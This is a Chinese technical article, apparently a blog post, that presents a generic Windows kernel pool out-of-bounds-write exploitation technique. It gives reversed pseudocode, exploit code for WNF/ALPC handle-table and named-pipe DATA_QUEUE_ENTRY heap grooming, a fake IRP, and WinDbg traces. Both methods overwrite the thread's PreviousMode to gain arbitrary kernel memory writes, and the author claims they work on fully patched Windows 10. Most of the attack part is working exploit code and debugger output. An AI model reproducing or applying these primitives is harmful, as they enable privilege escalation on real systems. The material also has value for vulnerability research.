这篇文章的目的是介绍一种新型基于内核态分页内存和非分页内存的越界写入通用利用技术和相关工具复现.
笔者的在原作者利用工具基础上进行二次开发,新增了笔者原创的非分页模式漏洞利用方式,优化并重构利用相关代码结构的耦合性,解决了不同Windows版本适配问题,对利用条件和利用难度进行优化,工具包括适配驱动和利用程序两部分组成,实现了在Windows 10 19H1之后任意版本包括满补丁系统上的稳定利用.
对于原作者分页内存利用工具笔者通过逆向相关内核模块文件,复现了相关利用细节,并将相关利用代码合并进入了笔者漏洞利用工具工程中.
当调用NtAlpcCreatePort创建ALPC端口对象时会在这个对象0x28偏移量处保存一个名为_ALPC_HANDLE_TABLE句柄表,这个句柄表可以理解为一个容器的作用,句柄表结构体用于存放句柄_KALPC_RESERVE的指针迭代和表示句柄表数量,句柄表大小与句柄的关系是0x10 * TotalHandles,每次当句柄表的大小不足以容纳相关数量的句柄时,句柄表会自动扩容一倍,并把原来句柄表中的句柄复制到新的句柄表数组中,句柄表所在内存为分页内存,大小已知且可控.
signed __int64 __fastcall AlpcAddHandleTableEntry(_ALPC_HANDLE_TABLE *a1, _KALPC_RESERVE *blob)
{
if ( a1->TotalHandles )
{
blobtofind = a1->Handles;
while ( blobtofind->Object )
{
++idx;
++blobtofind;
if ( idx >= ctnt )
goto newalloc;
}
blobtofind->Object = *(void **)blob;
result = idx + 16;
}
newalloc:
HandleTableEntry = (_ALPC_HANDLE_ENTRY *)ExAllocatePoolWithTag(PagedPool, 0x10 * ctnt, 'aHlA');
memset(HandleTableEntry, 0, 16i64 * a1->TotalHandles);
memmove(HandleTableEntryRef, a1->Handles, 8i64 * a1->TotalHandles);
TotalHandles = a1->TotalHandles;
HandleTableEntryRef[TotalHandles] = *(_ALPC_HANDLE_ENTRY *)blob;
TotalHandlesNew = 2 * a1->TotalHandles;
a1->Handles = HandleTableEntryRef;
a1->TotalHandles = TotalHandlesNew;
return TotalHandles + 16;
}
__int64 __fastcall NtAlpcCreateResourceReserve(HANDLE Handle, int a2, __int64 a3, _DWORD *MessageId)
{
void * v16 = ObReferenceObjectByHandle(Handle, 1u, AlpcPortObjectType, v14, &Object, 0i64);
_KALPC_RESERVE *blob = AlpcpAllocateBlob((__int64)AlpcConnectionType, 72i64, 1);
AlpcAddHandleTableEntry( (_ALPC_HANDLE_TABLE *)(Object + 0x28),blob);
*MessageId = blob->Handle;
}
_KALPC_RESERVE *__fastcall AlpcReferenceBlobByHandle(_ALPC_HANDLE_TABLE *hdlentry, int hdl, _DWORD *a3)
{
hdlnow = (unsigned int)(hdl - 0x10);
if ( (unsigned int)hdlnow < hdlentry->TotalHandles
&& (blob = hdlentry->Handles[hdlnow].Object) != 0i64
&& *((unsigned __int8 *)blob + 0xFFFFFFE1) == *a3
&& AlpcpReferenceBlob((ULONG_PTR)blob) )
return blob;
}
void __fastcall AlpcpCaptureMessageDataSafe(_KALPC_MESSAGE *msg)
{
int rvclen = AlpcpAvailableBufferSize(msg);
dint atalen=msg->PortMessage.u1.s1.DataLength
memmove(msg->ExtensionBuffer, &msg->DataUserVa[reclen], datalen - reclen);
}
}
__int64 __fastcall NtAlpcSendWaitReceivePort(HANDLE Handle, int flag, void *sendmsg, __int64 sendattr, __int64 a5, __int64 a6, __int64 a7, __int64 a8)
{
void * v16 = ObReferenceObjectByHandle(Handle, 1u, AlpcPortObjectType, v14, &Object, 0i64);
_KALPC_RESERVE blob= (_KALPC_RESERVE *)AlpcReferenceBlobByHandle(
(_ALPC_HANDLE_TABLE *)(Object + 0x28),
sendmsg->MessageId & 0x7FFFFFFF,
AlpcReserveType);
_KALPC_MESSAGE *msg=blob->Message;
AlpcpCaptureMessageDataSafe(msg);
}
struct _WNF_STATE_DATA
{
struct _WNF_NODE_HEADER Header; //0x0
ULONG AllocatedSize; //0x4
ULONG DataSize; //0x8
ULONG ChangeStamp; //0xc
};
__int64 __fastcall NtUpdateWnfStateData(__int64 a1, __int64 Buff, __int64 len, __int64 a4, __int64 a5, int a6, int a7)
{
ret= ExpWnfLookupNameInstance(v41, v36, &wnf);
wnfdata = *(_DWORD **)(wnf + 0x58);
if(AllocatedSize>len){
memmove(wnfdata + 4, Buff, len);
}
}
从上面的代码可以看到NtAlpcCreateResourceReserve创建KALPC_RESERVE结构体blob存在句柄表数组中,并在Message字段存放了需要读取和写入的消息结构体实例,调用这个读取和写入的过程只需要将NtAlpcSendWaitReceivePort第3个参数中指定关联句柄表的句柄id,会在AlpcReferenceBlobByHandle中找到的句柄的实例指针,构造这个伪造的用户态KALPC_RESERVE结构体,这里需要注意的是句柄的消息内容Message是存在这个句柄结构体中自身的,而不是NtAlpcSendWaitReceivePort请求中的消息类型,接着就会对KALPC_RESERVE->->Message->ExtensionBuffer实现任意的内核态内存的写入.通过正常的调用方式,这个句柄id在NtAlpcCreateResourceReserve函数中作为返回参数返回,同样也可以实现调用.构造这个利用条件就需要构造如下整齐排列的分页堆占位状态,通过按照这个顺序分批大量的WNF结构体和句柄表结构体.
0x1000 | 0x1000 | 0x1000 | 0x1000 | 0x1000 |
---|---|---|---|---|
WNF | 漏洞块 | WNF | ALPC_HANDLE_TABLE | WNF |
对漏洞块进行越界修改WNF_STATE_DATA结构体里的DataSize和AllocatedSize字段,使得用户可以操作的内存区域超过当前分配的结构体边界,这样就可以通过NtUpdateWnfStateData这个函数修改下个堆块ALPC_HANDLE_TABLE句柄表里的内容为伪造的用户态KALPC_RESERVE指针数组.由于WNF和句柄表的位置是未知的,需要通过调用NtQueryWnfStateData执行越界读取的如果结果返回0xc0000023即可判断出这个对WNF操作的访问可以越界,这样调用NtUpdateWnfStateData就可以对下个堆块句柄表中的前n项KALPC_RESERVE句柄指针数组进行修改.
int testalpc()
{
HANDLE hConnectPort = NULL;
OBJECT_ATTRIBUTES oa;
NTSTATUS status;
ALPC_PORT_ATTRIBUTES apa;
SECURITY_QUALITY_OF_SERVICE sqos;
UNICODE_STRING us;
HANDLE ResourceID;
PPORT_MESSAGE sm;
RtlInitUnicodeString(&us, L"\\RPC Control\\NameOfPort");
RtlZeroMemory(&sqos, sizeof(SECURITY_QUALITY_OF_SERVICE));
InitializeObjectAttributes(&oa, &us, 0x200, 0, NULL);
RtlSecureZeroMemory(&apa, sizeof(apa));
apa.MaxMessageLength = MAX_MSG_LEN; // For ALPC this can be max of 64KB
status = NtAlpcCreatePort(&hConnectPort, &oa, &apa);
status = NtAlpcCreateResourceReserve(hConnectPort, 0, 0x200, &ResourceID);
ULONG nLen = MAX_MSG_LEN;
sm = (PPORT_MESSAGE)malloc(nLen);
RtlSecureZeroMemory(sm, MAX_MSG_LEN);
sm->u1.s1.TotalLength = MAX_MSG_LEN;
sm->u1.s1.DataLength = 0x20;
sm->u1.s1.TotalLength = sm->u1.s1.DataLength + sizeof(PORT_MESSAGE);
sm->MessageId = (ULONG)ResourceID;
LPVOID msgptr = (LPVOID)((ULONGLONG)sm + sizeof(PORT_MESSAGE));
RtlFillMemory(msgptr, 0x40, 0);
PKALPC_RESERVE obj = (PKALPC_RESERVE)malloc(sizeof(KALPC_RESERVE));
RtlSecureZeroMemory(obj, sizeof(KALPC_RESERVE));
obj->Size = 0x18 + sizeof(PORT_MESSAGE);
PKALPC_MESSAGE msg = (PKALPC_MESSAGE)malloc(sizeof(KALPC_MESSAGE) + nLen);
RtlSecureZeroMemory(msg, sizeof(KALPC_MESSAGE) + nLen);
obj->Message = msg;
memcpy(&msg->PortMessage, sm, nLen);
msg->PortMessage.u1.s1.DataLength = 0x10;
msg->PortMessage.u1.s1.TotalLength = 0x10 + sizeof(PORT_MESSAGE);
msg->Reserve = obj;
LPVOID userbuf = malloc(nLen);
RtlFillMemory(userbuf, nLen, 'C');
msg->DataUserVa = userbuf;
msg->ExtensionBuffer = (LPVOID)(ullKThreadAddress + dwThreadPreModePos);
msg->ExtensionBufferSize = sm->u1.s1.DataLength;
printf("[+] dt nt!_KALPC_RESERVE %p\r\n", obj);
return NtAlpcSendWaitReceivePort(hConnectPort, 0, sm, NULL, NULL, &nLen, NULL, NULL);
}
修改KALPC_RESERVE句柄指针KALPC_RESERVE->MessageId为之前控制的用户态id,由于这个id是由用户指定的,使用指定这个id对所有之前分配的ALPC端口对象调用NtAlpcSendWaitReceivePort就可以对任意的内核态内存地址进行写入,位置可控长度也可控内容也可控,对使用这个id对不匹配的其他对象操作并不会引起异常.经过调试这个函数调用中对构造的结构体中相关的字段检查均可以绕过,上面的代码片段demo简单描述相关利用步骤.完整的利用过程还是交给读者自行研究,这里只是起到抛砖引玉的作用.
bp poolqudong!CommandCopy
0: kd> r
rax=ffffa307188e4e20 rbx=ffffa307188e4e20 rcx=ffffa3071b7b96c0
rdx=ffffa307188e4e20 rsi=0000000000000001 rdi=ffffa3071b6f6be0
rip=fffff800588b10e0 rsp=ffffc80c431527a8 rbp=0000000000000002
r8=000000000000000e r9=ffffa3071a00e820 r10=fffff800588b1510
r11=0000000000000000 r12=0000000000000000 r13=0000000000000000
r14=ffffa3071b6f6be0 r15=ffffa3071a00e820
iopl=0 nv up ei ng nz na po nc
cs=0010 ss=0018 ds=002b es=002b fs=0053 gs=002b efl=00040286
poolqudong!CommandCopy:
fffff800`588b10e0 48894c2408 mov qword ptr [rsp+8],rcx ss:0018:ffffc80c`431527b0=ffffa307188e4e20
0: kd> dq rcx
ffffa307`1b7b96c0 00000000`00000010 ffffcc83`0aac2004
ffffa307`1b7b96d0 000000e8`a6afe078 00000000`00000000
//查看_ALPC_HANDLE_TABLE
4: kd> dq ffffcc83`0aac3000
ffffcc83`0aac3000 000001f3`6df31870 000001f3`6df32bc0
ffffcc83`0aac3010 ffffcc83`81470570 ffffcc83`8146fd20
//_KALPC_RESERVE指向用户态结构体
4: kd> dt nt!_KALPC_RESERVE 000001f3`6df31870
+0x000 OwnerPort : (null)
+0x008 HandleTable : (null)
+0x010 Handle : (null)
+0x018 Message : 0x000001f3`6df318e0 _KALPC_MESSAGE
+0x020 Size : 0x40
+0x028 Active : 0n0
4: kd> dx -id 0,0,ffffa3071755c080 -r1 ((ntkrnlmp!_KALPC_MESSAGE *)0x1f36df318e0)
((ntkrnlmp!_KALPC_MESSAGE *)0x1f36df318e0) : 0x1f36df318e0 [Type: _KALPC_MESSAGE *]
[+0x000] Entry [Type: _LIST_ENTRY]
[+0x010] PortQueue : 0x0 [Type: _ALPC_PORT *]
[+0x018] OwnerPort : 0x0 [Type: _ALPC_PORT *]
[+0x020] WaitingThread : 0x0 [Type: _ETHREAD *]
[+0x028] u1 [Type: ]
[+0x02c] SequenceNo : 0 [Type: long]
[+0x030] QuotaProcess : 0x0 [Type: _EPROCESS *]
[+0x030] QuotaBlock : 0x0 [Type: void *]
[+0x038] CancelSequencePort : 0x0 [Type: _ALPC_PORT *]
[+0x040] CancelQueuePort : 0x0 [Type: _ALPC_PORT *]
[+0x048] CancelSequenceNo : 0 [Type: long]
[+0x050] CancelListEntry [Type: _LIST_ENTRY]
[+0x060] Reserve : 0x1f36df31870 [Type: _KALPC_RESERVE *]
[+0x068] MessageAttributes [Type: _KALPC_MESSAGE_ATTRIBUTES]
[+0x0b0] DataUserVa : 0x1f36df31f40 [Type: void *]
[+0x0b8] CommunicationInfo : 0x0 [Type: _ALPC_COMMUNICATION_INFO *]
[+0x0c0] ConnectionPort : 0x0 [Type: _ALPC_PORT *]
[+0x0c8] ServerThread : 0x0 [Type: _ETHREAD *]
[+0x0d0] WakeReference : 0x0 [Type: void *]
[+0x0d8] WakeReference2 : 0x0 [Type: void *]
//写入地址msg->ExtensionBuffer = (LPVOID)(ullKThreadAddress + dwThreadPreModePos);
[+0x0e0] ExtensionBuffer : 0xffffa3071adf12b2 [Type: void *]
[+0x0e8] ExtensionBufferSize : 0x20 [Type: unsigned __int64]
[+0x0f0] PortMessage [Type: _PORT_MESSAGE]
//对写入的地址下硬件断点
ba w1 0xffffa3071adf12b2;
3: kd> r
rax=ffffa3071adf12b2 rbx=000001f36df318e0 rcx=ffffa3071adf12b2
rdx=0000000000000000 rsi=000001f36df318e0 rdi=0000000000000008
rip=fffff8005420d4da rsp=ffffc80c43152738 rbp=ffffa3071b6cdaa0
r8=0000000000000008 r9=0000000000000001 r10=7ffffffffffffffc
r11=0000000000000000 r12=0000000000000020 r13=0000000000000000
r14=000001f36e070038 r15=0000000000000018
iopl=0 nv up ei ng nz na pe cy
cs=0010 ss=0018 ds=002b es=002b fs=0053 gs=002b efl=00040283
nt!memcpy+0x1a:
fffff800`5420d4da 4a895401f8 mov qword ptr [rcx+r8-8],rdx ds:002b:ffffa307`1adf12b2=0000000000000000
3: kd> kv
# Child-SP RetAddr : Args to Child : Call Site
00 ffffc80c`43152738 fffff800`5448b337 : 00000000`00000000 fffff800`5400b27e ffffcc83`08621f40 00000000`00000000 : nt!memcpy+0x1a
01 ffffc80c`43152740 fffff800`5448a865 : 000001f3`6df318e0 ffffffff`ffffffff 00000000`00000000 00000000`00000000 : nt!AlpcpCaptureMessageDataSafe+0x197
02 ffffc80c`43152780 fffff800`5448a62d : ffffc80c`43152a00 ffffa307`1b6cda00 ffffa307`00000000 fffff800`544e7bbf : nt!AlpcpCompleteDispatchMessage+0x155
03 ffffc80c`43152830 fffff800`5448a386 : 00000000`00000000 ffffa307`1adf1080 00000000`80000010 00000000`00000000 : nt!AlpcpDispatchNewMessage+0x25d
04 ffffc80c`43152890 fffff800`5448731a : ffffc80c`43152a30 000001f3`6e070010 00000000`00000000 000001f3`6e0a1001 : nt!AlpcpSendMessage+0x9f6
05 ffffc80c`431529d0 fffff800`5420bfb5 : ffffa307`1adf1080 ffffc80c`43152b80 000000e8`a6afcfc8 ffffc80c`43152aa8 : nt!NtAlpcSendWaitReceivePort+0x21a
06 ffffc80c`43152a90 00007ffc`4f78dee4 : 00007ff6`332df90e 000001f3`6e070010 00000000`00000500 000000e8`a6afcff0 : nt!KiSystemServiceCopyEnd+0x25 (TrapFrame @ ffffc80c`43152b00)
对越界写函数poolqudong!CommandCopy下断点展开,查看_ALPC_HANDLE_TABLE地址ffffcc830aac3000可以看到句柄表的前2个句柄已经被修改为000001f3
6df31870,指向_KALPC_RESERVE用户态结构体,里面ExtensionBuffer指向了Kthread结构体+0x232是PreMode位置ffffa3071adf12b2,在nt!AlpcpCaptureMessageDataSafe中被从原值1修改为0,这样就可以实现用NtWriteVirtualMemory写内核态内存了,至此完成了漏洞的利用.
原作者非分页内存利用工具项目过去年代久远,笔者未在最新版windows系统上复现利用,不过笔者通过逆向命名管道驱动NPFS.SYS具体实现细节,发现了一种全新的可以适用于最新版Windows 10 22h2利用方式.这种利用方式相当巧妙,只需要越界写入0x18个已知可控内容字节数据,就可以实现完美利用,利用成功后可以正常退出进程,不影响已申请的内核态内存释放.
命名管道的后端实现在一个名为NPFS.SYS驱动中,模块的主要实现和公开的npfs模块reactos源码基本上大致相同,只不过多了一些细节上的优化,通过逆向驱动对比源码分析我们得到了如下的2个数据结构
typedef struct _DATA_QUEUE_ENTRY{
LIST_ENTRY Queue;
_IRP* Irp;
__int64 SecurityContext;
int EntryType;
int QuotaInEntry;
int DataSize;
int x;
} DATA_QUEUE_ENTRY,*PDATA_QUEUE_ENTRY;
typedef struct _NP_DATA_QUEUE
{
LIST_ENTRY Queue;
ULONG QueueState;
ULONG BytesInQueue;
ULONG EntriesInQueue;
ULONG QuotaUsed;
ULONG ByteOffset;
ULONG Quota;
} NP_DATA_QUEUE, *PNP_DATA_QUEUE;
//nSize指定了pipe的最大容量
BOOL CreatePipe(
[out] PHANDLE hReadPipe,
[out] PHANDLE hWritePipe,
[in, optional] LPSECURITY_ATTRIBUTES lpPipeAttributes,
[in] DWORD nSize
);
以通过CreatePipe创建命名管道文件对象为例,文件实例绑定了一个名为NP_DATA_QUEUE类型的队列对象,CreatePipe的参数nSize指定了当前pipe的最大容量或者说是允许最大缓冲区长度,每对pipe进行一次读写操作就会增加一个DATA_QUEUE_ENTRY,若干次写可以对应若干次读,当存在读数据的请求时irp就会挂起,直到写入请求的数据量达到读取请求的数据量才会完成整个读取irp请求,比如说pipe的容量是1000,第一次写了1000的数据,这个写请求会返回,第二次又写了1000数据那么这个请求就一直挂起,直到读取了1000数据后,最后写入的数据小于或等于pipe的容量,后面写请求才会返回.对于读请求也是同理,这里不再赘述.
typedef enum _NP_DATA_QUEUE_STATE
{
ReadEntries = 0,
WriteEntries = 1,
Empty = 2
} NP_DATA_QUEUE_STATE;
__int64 __fastcall NpWriteDataQueue(PNP_DATA_QUEUE queuethis, int a2, __int64 buf, unsigned int inlen, int a5, __int64 inlenptr, __int64 a7, int a8, PETHREAD ClientThread, __int64 a10)
{
if ( queuethis->QueueState || (writelen = *(_DWORD *)inlenptr) == 0 && !v13 )
{
if ( *(_DWORD *)inlenptr || v13 )
hr = 0xC0000016;
return hr;
}
if ( isbuffed == 1 || !writelen )
{
//如果有读取irp请求使用这个irp的buffer
writedest = (_IRP *)entryfirst->Irp->AssociatedIrp.SystemBuffer;
P = writedest;
inlenptra = 0;
writelenref = writelen;
}
else
{
//如果没有读取irp请求,申请临时buffer
writelenref = writelen;
writedest = (_IRP *)ExAllocatePoolWithTag((POOL_TYPE)512, writelen, 0x5246704Eu);
P = writedest;
if ( !writedest )
return 3221225626i64;
inlenptra = 1;
inlen = v60;
bufref = v59;
}
memmove(writedest, (const void *)(bufref + inlen - *(_DWORD *)inlenptr), writelenref);
}
__int64 __fastcall NpReadDataQueue(__int64 a1, PNP_DATA_QUEUE entrythis, char a3, char a4, __int64 buf, size_t Size, int a7, __int64 a8, __int64 a9)
{
if ( !val1or0check || entryfirst->EntryType <= 1u )
{
if ( entryfirst->EntryType == 1 )
entrybuf = (char *)entryfirst->Irp->AssociatedIrp.MasterIrp;
else
entrybuf = (char *)&entryfirst->DataEntryPtr;
firstdatasize = entryfirst->DataSize;
entrysize = firstdatasize;
if ( entryfirst == (DATA_QUEUE_ENTRY *)entrythis->Queue.Flink )
entrysize = firstdatasize - entrythis->Quota;
copysize = entrysize;
if ( entrysize >= copyoffset )
copysize = copyoffset;
//读取数据返回应用层
memmove((void *)(buf + copyoffsetmax - copyoffset), &entrybuf[entryfirst->DataSize - entrysize], copysize);
}
if ( queuethis->QueueState == _NP_DATA_QUEUE_STATE::Empty )
{
return 0;
}
else
{
PDATA_QUEUE_ENTRY entrylookup = (DATA_QUEUE_ENTRY *)entrythis->Queue.Flink;
PDATA_QUEUE_ENTRYentrylink = entrythis->Queue.Flink->Flink;
if ( (PNP_DATA_QUEUE)entrythis->Queue.Flink->Blink != entrythis
|| (DATA_QUEUE_ENTRY *)entrylink->Blink != entrylookup )
{
__fastfail(3u);
}
entrythis->Queue.Flink = entrylink;
entrylink->Blink = &entrythis->Queue;
entrythis->BytesInQueue -= entrylookup->DataSize;
--entrythis->EntriesInQueue;
// entryirp+68
if ( entryirp && !_InterlockedExchange64((volatile __int64 *)&entryirp->CancelRoutine, 0i64) )
{
// entryirp+90=0
entryirp->Tail.Overlay.DriverContext[3] = 0i64;
//之后entryirp不再引用
entryirp = 0i64;
}
}
}
__int64 __fastcall NpAddDataQueueEntry(int a1, void *a2, PNP_DATA_QUEUE queue, int queuestate, int val1, size_t outlen, __int64 irp, __int64 irpref, int a9)
{
if ( queuestate )
{
PDATA_QUEUE_ENTRY newentry = (PDATA_QUEUE_ENTRY)ExAllocatePoolWithQuotaTag((POOL_TYPE)0x308, newlen, 'rFpN'))
}else{
PDATA_QUEUE_ENTRY newentry = *(PDATA_QUEUE_ENTRY *)&queue->DataPtr;
}
newentry->QuotaInEntry = v15;
newentry->Irp = irpref;
newentry->EntryType = 0;
newentry->SecurityContext = (__int64)v12;
newentry->DataSize = outlen;
if ( queuestate )
{
irpbuf = irpref->UserBuffer;
memmove(&newentry->DataEntryPtr, irpbuf, (unsigned int)outlen);
}
int byteleft = queue->QuotaUsed - queue->ByteOffset;
if ( byteleft > (int)outlen - a9 )
{
newentry->Irp = 0i64;
}
newentry->EntryType = val1;
newentry->QuotaInEntry = 0;
newentry->Irp = irpref;
queref = queue->Queue.Blink;
if ( (PNP_DATA_QUEUE)queref->Flink != queue )
__fastfail(3u);
newentry->Queue.Flink = &queue->Queue;
newentry->Queue.Blink = queref;
queref->Flink = &newentry->Queue;
queue->Queue.Blink = &newentry->Queue;
}
所有的读写请求都分别被储存在一个DATA_QUEUE_ENTRY结构体中,当前缓冲区剩余大小小于下一次需要操作的entry时候,挂起的irp指针就会写入entry的对应字段,用于在下次操作时获取输入输出缓冲区指针.当遇到读取请求时且存在一个或多个写的entry,就会遍历entry把对应数据根据请求大小取出指定读取部分,将相关entry移出链表,这个时候就可以构造伪造的entry的前0x18字节的内容,开始0x10为链表结构数据,这里面的数据越界写时必须和原数据相同需要绕过,entry->Irp字段默认为0但是可以通过越界写构造.利用的原理是npfs对这个irp指针存在短暂的引用可以构造一个任意写,如果构造了一个伪造的irp指针,根据上面代码显示如果irp->CancelRoutine被_InterlockedExchange64后原值也为0,那么irp->Tail.Overlay.DriverContext[3] = 0,也就是说如果entryirp+68置为0那么entryirp+90也就可以置为0,把这个指针+90映射到当前线程Kthread结构体+0x232是PreMode位置,这个值就可以给赋值成KernelMode=0,之后就可以用NtWriteVirtualMemory写内核态内存了;这之前有个验证,也就是irp->CancelRoutine,映射后那么这个对应字段entryirp+68==irp->CancelRoutine这个位置的值正好是Kthread+0x20a对应字段QueueListEntry,恰好这个值默认就是0,正好符合了利用条件.而且完成这个操作后局部变量entryirp会置为空指针,之后对这个指针的所有引用都会取消,所以就可以实现完美利用不会发生蓝屏,这个方法是笔者自创的,之前还未有人发现.
有需要绕过的一个东西,每个entry结构和NP_DATA_QUEUE构成了一个环形的链表结构,NP_DATA_QUEUE为链表的起始,DATA_QUEUE_ENTRY为后面的分支链表,链表的起始queue的Flink指向第一个entry,Blink指向最后一个entry,第一个entry的Flink指向下个entry,Blink指向queue,下一个entry的Flink指向下个entry,Blink指向前一个entry,最后一个entry的Flink指向queue,Blink指向前一个entry,只存在一个entry和queue时它们的链表节点均指向对方,当存在多个entry的情况下当前entry的Flink指向下个entry,Blink指向前一个entry,下一个entry的Flink指向下一个entry,Blink指向前一个entry.这个概念和利用技术至关重要,只存在一个entry情况下,由于无法预测queue所在分页内存的位置,那么就推导不出要覆盖写入的entry的Flink和Blink的值,如果要构造利用的话就需要越过entry指针的0x10偏移量(sizeof(LIST_ENTRY))的位置进行越界写入,利用条件比较苛刻不推荐使用.相对来说比较可行的利用方案是,构造3个entry,如果3个entry的地址可以通过bigpool泄露出来的话,那么中间那个entry也就是vul的Flink指向下个entry,Blink指向前一个entry,整个entry的包括链表内容就可以认为是已知可控的.构造这个利用只需要把3个entry按顺序布局,然后把需要越界写的漏洞块放在第一个entry和第二个entry也就是vul中间,越界写的位置位于漏洞块结尾也即是vul的前0x18字节的内容,最后发送一个读取irp请求大小为3个entry的总和,就可以在NpReadDataQueue触发其中包括这个vul的entry的任意写漏洞利用了,这种方式越界位置可控,数据可控是比较理想的利用方案,具体内存布局如下图.
bool CheckBigPoolHeap()
{ std::vector checkniii;
std::vector checknpfs;
DWORD dwBufSize = 1024 * 1024;
DWORD dwOutSize = 0;
LPVOID pBuffer = LocalAlloc(LPTR, dwBufSize);
NTSTATUS hRes = NtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)SystemBigPoolInformation, pBuffer, dwBufSize, &dwOutSize);
DWORD dwExpectedSize = xploit->ghost_chunk_size;
DWORD dwtargeted_vuln_size = xploit->targeted_vuln_size;
ULONG_PTR StartAddress = (ULONG_PTR)pBuffer;
ULONG_PTR EndAddress = StartAddress + 8 + *((PDWORD)StartAddress) * sizeof(BIG_POOL_INFO);
ULONG_PTR ptr = StartAddress + 8;
while (ptr < EndAddress)
{
PBIG_POOL_INFO info = (PBIG_POOL_INFO)ptr;
if (info->PoolTag == 'mNhT' && dwExpectedSize == info->PoolSize)
{
ULONG_PTR FakeAddress = (((ULONG_PTR)info->Address) & 0xfffffffffffffff0);
checkniii.push_back(FakeAddress);
}
if (info->PoolTag == 'rFpN' && dwtargeted_vuln_size == info->PoolSize)
{
ULONG_PTR FakeAddress = (((ULONG_PTR)info->Address) & 0xfffffffffffffff0);
checknpfs.push_back(FakeAddress);
}
ptr += sizeof(BIG_POOL_INFO);
}
for (ULONGLONG npAddress1 : checknpfs)
{
for (ULONG_PTR FakeAddressNiii : checkniii)
{
if (npAddress1 + dwtargeted_vuln_size == FakeAddressNiii) {
for (ULONGLONG npAddress2 : checknpfs)
{
if (FakeAddressNiii + dwExpectedSize == npAddress2) {
for (ULONGLONG npAddress3 : checknpfs)
{
if (npAddress2 + dwtargeted_vuln_size == npAddress3)
{
ULONGLONG fakeirp = ullKThreadAddress + dwThreadPreModePos - 0x90;
pipe_queue_entry_t overwritten_pipe_entry ={0};
overwritten_pipe_entry->list.Flink = (LIST_ENTRY*)npAddress3;
overwritten_pipe_entry->list.Blink = (LIST_ENTRY*)npAddress1;
overwritten_pipe_entry->irp_10 = (uintptr_t)(fakeirp);
overwritten_pipe_entry->security = 0;
overwritten_pipe_entry->field_20 = 0x0;
overwritten_pipe_entry->DataSize = xploit->targeted_vuln_size-0x40;
overwritten_pipe_entry->remaining_bytes = xploit->targeted_vuln_size-0x40;
arbitrary_write(0x18, npAddress2, overwritten_pipe_entry);
return true;
}
}
}
}
}
}
}
void triggervul(){
pipe_spray_t* spray1 = prepare_pipes(SPRAY_SIZE * 2, xploit->targeted_vuln_size*3, spray_buf, xploit->spray_type);
thread_spray_t* thread_spray_obj = prepare_threads(SPRAY_SIZE * 2, xploit->ghost_chunk_size);
for (size_t i = 0; i < spray1->nb; i++)
{
write_pipe(&spray1->pipes[i], spray1->data_buf, xploit->targeted_vuln_size-0x40);
spray_thread(thread_spray_obj, i, xploit->ghost_chunk_size);
write_pipe(&spray1->pipes[i], spray1->data_buf, xploit->targeted_vuln_size-0x40);
write_pipe(&spray1->pipes[i], spray1->data_buf, xploit->targeted_vuln_size-0x40);
}
if (CheckBigPoolHeap())
{
//spray1->bufsize=xploit->targeted_vuln_size*3;
read_pipe(spray1, spray1->bufsize);
}
}
由于需要越界写一般需要构造漏洞块vul之前的一个占位块,暂且用NtSetInformationThread(ThreadNameInformation)方式申请的为非分页内存,按顺序申请这些堆块,很容易通过bigpool得到泄露的按顺序排列的内存地址,利用这个占位块越界写漏洞块就0x18个字节可以实现非分页内存方式利用.上面的代码片段demo简单描述相关利用步骤.完整的利用过程还是交给读者自行研究,这里只是起到抛砖引玉的作用.
Breakpoint 0 hit
poolqudong!CommandCopy:
fffff800`588b10e0 48894c2408 mov qword ptr [rsp+8],rcx
2: kd> r
rax=ffffa3071bdf6840 rbx=ffffa3071bdf6840 rcx=ffffa307199e71c0
rdx=ffffa3071bdf6840 rsi=0000000000000001 rdi=ffffa3071b20ca10
rip=fffff800588b10e0 rsp=ffffc80c427e97a8 rbp=0000000000000002
r8=000000000000000e r9=ffffa3071a00e820 r10=fffff800588b1510
r11=0000000000000000 r12=0000000000000000 r13=0000000000000000
r14=ffffa3071b20ca10 r15=ffffa3071a00e820
iopl=0 nv up ei ng nz na po nc
cs=0010 ss=0018 ds=002b es=002b fs=0053 gs=002b efl=00040286
poolqudong!CommandCopy:
fffff800`588b10e0 48894c2408 mov qword ptr [rsp+8],rcx ss:0018:ffffc80c`427e97b0=ffffa3071bdf6840
2: kd> dq rcx
ffffa307`199e71c0 00000000`00000024 ffffa307`1dc54000
ffffa307`199e71d0 0000018d`7771a1c0 00000000`00000000
2: kd> dq ffffa307`1dc54000
//flink指向下个entry+1000位置,blink指向前一个entry就是ffffa307`1dc54000-xploit->ghost_chunk_size位置
ffffa307`1dc54000 ffffa307`1dc55000 ffffa307`1dc4e000
//fakeirp=ffffa307`1af11222
ffffa307`1dc54010 ffffa307`1af11222 00000000`00000000
Npfs!NpReadDataQueue+0x384f:
fffff800`575818df 4d89a790000000 mov qword ptr [r15+90h],r12
1: kd> r
rax=0000000000000000 rbx=ffffcc832a52ebf8 rcx=0000000000000000
rdx=0000000000001f00 rsi=ffffa3071dc54000 rdi=ffffa3071dc54000
rip=fffff800575818df rsp=ffffc80c42d10510 rbp=ffffa3071d163700
r8=0000000000000000 r9=0000000000001040 r10=0000000000000000
r11=ffffa3071dc54ff0 r12=0000000000000000 r13=0000000000000000
r14=ffffc80c42d105d0 r15=ffffa3071af11222
iopl=0 nv up ei pl zr na po nc
cs=0010 ss=0018 ds=002b es=002b fs=0053 gs=002b efl=00040246
Npfs!NpReadDataQueue+0x384f:
//r15+90h就是Kthread结构体+0x232是PreMode位置
fffff800`575818df 4d89a790000000 mov qword ptr [r15+90h],r12 ds:002b:ffffa307`1af112b2=0028000000000801
1: kd> kv
# Child-SP RetAddr : Args to Child : Call Site
00 ffffc80c`42d10510 fffff800`57584731 : ffffc80c`42d105d0 ffffcc83`2a52ebf8 ffffa307`00000000 00000000`00000000 : Npfs!NpReadDataQueue+0x384f
01 ffffc80c`42d10580 fffff800`57580ff8 : ffffa307`1b67a000 ffffa307`173c4c20 00000000`00000000 ffffc80c`42d10670 : Npfs!NpInternalRead+0x1a5
02 ffffc80c`42d10620 fffff800`5757c847 : ffffa307`173c4c20 00000000`20206f0d ffffa307`1bd88900 00000000`00000000 : Npfs!NpCommonFileSystemControl+0x4768
03 ffffc80c`42d106c0 fffff800`54092835 : ffffa307`19d4ddc0 00000000`00000001 ffffc80c`42d107c0 fffff800`53b74ce2 : Npfs!NpFsdFileSystemControl+0x27
对越界写函数poolqudong!CommandCopy下断点展开pipe_queue_entry_t结果,这个标记为vul的entry的flink指向下个entry+1000位置,blink指向前一个entry就是ffffa3071dc54000-xploit->ghost_chunk_size位置,里面的fakeirp=ffffa307
